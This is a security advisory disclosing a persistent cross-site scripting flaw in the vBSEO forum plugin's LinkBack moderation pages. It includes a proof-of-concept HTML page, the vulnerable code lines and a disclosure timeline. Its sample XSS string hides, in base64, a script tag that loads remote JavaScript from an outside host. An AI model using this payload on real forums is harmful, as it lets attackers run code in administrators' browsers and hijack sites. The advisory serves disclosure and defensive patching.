vBSEO - Persistent XSS via LinkBacks

http://www.exploit-db.com/vbseo-from-xss-to-reverse-php-shell/

Versions Affected: 3.5.2 & 3.2.2 (Most likely all versions)

Info:
A proven success record, vBSEO powers the most optimized forums on the Web.
The #1 SEO plugin and the only professional, fully supported solution. A full
package of SEO enhancements, one install, one upgrade.

External Links:
http://www.vbseo.com

Credits: MaXe (@InterN0T)


-:: The Advisory ::-
vBSEO is prone to persistent XSS due to insufficient sanitization of the titles on external websites vBSEO reads.
ModCP & AdminCP has the following features affected: "Moderate LinkBacks", "Incoming LinkBacks", "Outgoing LinkBacks"

Sample PoC:
<html>
<head>
<title> [XSS String] </title>
</head>
<body>
<a href="hxxp://vbulletin-installation-with-vbseo.tld/01-some-forum-thread.html">SEKSCY INJECT TIEM!</a> 
</body>
</html>

After clicking the link, which the attacker has to do, vBSEO will initiate a GET-requested to the target and will
then save the linkback if enabled, in either the incoming linkback list or the moderation queue. By default all
linkbacks are enabled and this linkback is known as the "RefBack". (vBSEO checks the Referrer.)

Sample XSS String:
test"><script>document.write(atob(/PHNjcmlwdCBzcmM9Imh0dHA6Ly9pbnRlcm4wdC5uZXQvdXR1YmUvaW5kZXgucGhwP3hzcz1oYXgwcjF0bjB3ZjByMzQxIj48L3NjcmlwdD4=/.source));</script>


-:: Solution ::-
The vendor is still working on a patch even though it is very simple to patch.

File: /modcp/vbseo_moderate.php
Lines: 276 or 274 (depends on version), 230, 178, 112 are vulnerable.
Details: Look for "$pback[t_title]" which is the major cause of this vulnerability.



Disclosure Information:
- Vulnerability found and researched: 16th December 2010
- Disclosed to vendor (vBSEO): 16th December
- Semi-Disclosed at InterN0T: 30th December
- Detailed Disclosure: 31st January 2011


References:
http://forum.intern0t.net/intern0t-advisories/3559-vbseo-3-5-2-3-2-2-persistent-cross-site-scripting-via-linkbacks.html